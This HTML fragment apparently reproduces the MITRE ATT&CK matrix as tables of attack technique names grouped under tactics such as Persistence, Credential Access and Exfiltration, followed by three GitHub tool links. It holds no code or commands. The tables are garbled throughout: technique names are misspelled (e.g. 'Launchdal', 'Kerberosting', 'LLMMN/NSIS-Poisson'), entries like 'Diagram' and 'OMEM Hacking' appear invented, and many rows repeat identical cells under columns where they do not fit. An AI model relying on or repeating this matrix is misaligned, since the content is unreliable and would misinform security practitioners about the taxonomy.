</tr>
<tr>
<td>Space after Filename</td>
<td>Launchdal</td>
<td>Sudo Calling</td>
<td>HSTCONTROL</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Third-party Software</td>
<td>LOAD DYLIB Addition</td>
<td>Valid Accounts</td>
<td>Image File Execution Options Injection</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td>Local Job Scheduling</td>
<td>Web Shell</td>
<td>Indicator Blocking</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Windows Remote Management</td>
<td>Trusted Developer Utilities</td>
<td>Login Item</td>
<td>Indicator Removal from Tools</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>XML Script Processing</td>
<td>User Execution</td>
<td>Login Scripts</td>
<td>Indicator Removal on Host</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>XSL Script Processing</td>
<td>Windows Management Instrumentation</td>
<td>Windows Management Instrumentation</td>
<td>Indirect Command Execution</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>New Service</td>
<td>LSASS Driver</td>
<td>Modify Existing Service</td>
<td>Install Root Certificate</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>XSL Script Processing</td>
<td>New Service</td>
<td>Launchdal</td>
<td>Windows Management Instrumentation</td>
<td>Indirect Command Execution</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>XSL Script Processing</td>
<td>Office Application Startup</td>
<td>LC MAIN Hacking</td>
<td>Patch Infection</td>
<td>Indirect Command Execution</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>XSL Script Processing</td>
<td>OMEM Hacking</td>
<td>Modify Registry</td>
<td>Modify Registry</td>
<td>Indirect Command Execution</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>XSL Script Processing</td>
<td>Port Knocking</td>
<td>Ports</td>
<td>Ports</td>
<td>Indirect Command Execution</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>XSL Script Processing</td>
<td>Port Monitoring</td>
<td>Network Share Connection Removal</td>
<td>NTFS File Attributes</td>
<td>Indirect Command Execution</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>XML Script Processing</td>
<td>Re-opened Applications</td>
<td>OMEM Attributes</td>
<td>Obfuscated Files or Information</td>
<td>Indirect Command Execution</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>XML Script Processing</td>
<td>Redundant Access</td>
<td>Patch Modification</td>
<td>Patch Modification</td>
<td>Indirect Command Execution</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>XML Script Processing</td>
<td>Registry Run Keys</td>
<td>Startup Folder</td>
<td>Port Knocking</td>
<td>Indirect Command Execution</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
</tbody>
</table>

© 2018 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.
<table>
<thead>
<tr>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Collection</th>
<th>Exfiltration</th>
<th>Command And Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>AppleScript</td>
<td>bash_profile and bashrc</td>
<td>Access Token Manipulation</td>
<td>Access Token Manipulation</td>
<td>Account Manipulation</td>
<td>Account Discovery</td>
<td>ApacheScript</td>
<td>Audio Capture</td>
<td>Automated Exfiltration</td>
<td>Commonly Used Port</td>
</tr>
<tr>
<td>CMSTP</td>
<td>Accessibility Features</td>
<td>Accessibility Features</td>
<td>Binary Padding</td>
<td>Bash History</td>
<td>Application Window Discovery</td>
<td>Application Deployment</td>
<td>Automated Collection</td>
<td>Data Compressed</td>
<td>Communication Through Removable Media</td>
</tr>
<tr>
<td>Command-Line Interface</td>
<td>Account Manipulation</td>
<td>AppCert DLLs</td>
<td>EITS Jobs</td>
<td>Brute Force</td>
<td>Browser Bookmark Discovery</td>
<td>Distributed Component Collection Data</td>
<td>Data Encrypted</td>
<td>Data Exfiltration</td>
<td>Custom Command and Control Protocol</td>
</tr>
<tr>
<td>Compiled HTML File</td>
<td>AppCert DLLs</td>
<td>Application Shimming</td>
<td>Bypass User Account Control</td>
<td>Credential Dumping</td>
<td>File and Directory Discovery</td>
<td>Exploitation of Remote S data</td>
<td>Data Transferred</td>
<td>Data Exfiltration</td>
<td>Custom Cryptographic Protocol</td>
</tr>
<tr>
<td>Control Panel Items</td>
<td>AppCert DLLs</td>
<td>Application Shimming</td>
<td>Clear Command History</td>
<td>Credentials in Files</td>
<td>Network Service Scanning</td>
<td>Logon Scripts</td>
<td>Data from Local System</td>
<td>Data Exfiltration</td>
<td>Data Obfuscation</td>
</tr>
<tr>
<td>Dynamic Data Exchange</td>
<td>Application Shimming</td>
<td>Bypass User Account Control</td>
<td>Credential Expiration</td>
<td>Credentials in Registry</td>
<td>Network Share Discovery</td>
<td>Data from Network Share</td>
<td>Data Exfiltration</td>
<td>Date From Remote</td>
<td>Data Obfuscation</td>
</tr>
<tr>
<td>Execution through Module</td>
<td>Authorization Package</td>
<td>DLL Search Order Hooking</td>
<td>Code Signing</td>
<td>File Sniffing</td>
<td>Network Sniffing</td>
<td>Pass the Hash</td>
<td>Data Exfiltration</td>
<td>Database Obfuscation</td>
<td>Data Obfuscation</td>
</tr>
<tr>
<td>Execution through Module</td>
<td>BITS Jobs</td>
<td>Dybe Hijacking</td>
<td>Compiled HTML File</td>
<td>Forced Authentication</td>
<td>Password Policy Discovery</td>
<td>Remote File Copy</td>
<td>Remote Services</td>
<td>Data Exfiltration</td>
<td>Data Obfuscation</td>
</tr>
<tr>
<td>Executive</td>
<td>Exploitation for Client Exec Rook</td>
<td>Exploitation for Privilege Escalation</td>
<td>Component Firmware</td>
<td>Hooking</td>
<td>Peripheral Device Discovery</td>
<td>Email Collection</td>
<td>Remote Services</td>
<td>Data Exfiltration</td>
<td>Data Obfuscation</td>
</tr>
<tr>
<td>General User Interface</td>
<td>Browser Extensions</td>
<td>Extra Window Memory Injection</td>
<td>Component Object Model Hijacking</td>
<td>Input Capture</td>
<td>Permission Groups Discovery</td>
<td>Remote Services</td>
<td>Input Capture</td>
<td>Data Exfiltration</td>
<td>Data Obfuscation</td>
</tr>
<tr>
<td>Install</td>
<td>Change Default File Association</td>
<td>File System Permissions</td>
<td>Control Panel Items</td>
<td>Input Prompt</td>
<td>Process Discovery</td>
<td>Replication Through Rank Man in the Browser</td>
<td>Multi-hop Proxy</td>
<td>Multi-Stage Channels</td>
<td></td>
</tr>
<tr>
<td>Launch</td>
<td>Component Firmware</td>
<td>Hooking</td>
<td>DCShadow</td>
<td>Kerberosting</td>
<td>Query Registry</td>
<td>Shared Webroot</td>
<td>Multibook</td>
<td>Multibook Communication</td>
<td></td>
</tr>
<tr>
<td>Local Job Scheduling</td>
<td>Component Object Model Hijacking</td>
<td>Image File Execution Options</td>
<td>Dictionary/Decode Files or Information</td>
<td>Keychain</td>
<td>Remote System Discovery</td>
<td>System Hijacker</td>
<td>Multi-Layer Encryption</td>
<td>Multi-Layer Encryption</td>
<td></td>
</tr>
<tr>
<td>LSASS Driver</td>
<td>Create Account</td>
<td>Launch Daemon</td>
<td>LLMMN/NSIS-Poisson</td>
<td>LLNS</td>
<td>Security System Discovery</td>
<td>Security System</td>
<td>Port Knocking</td>
<td>Port Knocking</td>
<td></td>
</tr>
<tr>
<td>LSASS Driver</td>
<td>File System Permissions</td>
<td>DLL Hooking</td>
<td>Diagram</td>
<td>Diagram</td>
<td>Security System</td>
<td>Security System</td>
<td>Uncommonly Used Port</td>
<td>Uncommonly Used Port</td>
<td></td>
</tr>
<tr>
<td>LSASS Driver</td>
<td>File System Permissions</td>
<td>DLL Hooking</td>
<td>Diagram</td>
<td>Diagram</td>
<td>Security System</td>
<td>Security System</td>
<td>Web Service</td>
<td>Web Service</td>
<td></td>
</tr>
</tbody>
</table>
Reference

1. https://github.com/JPCERTCC/SysmonSearch
2. https://github.com/Rurik/Noriben
3. https://github.com/0xbadjuju/Tokenvator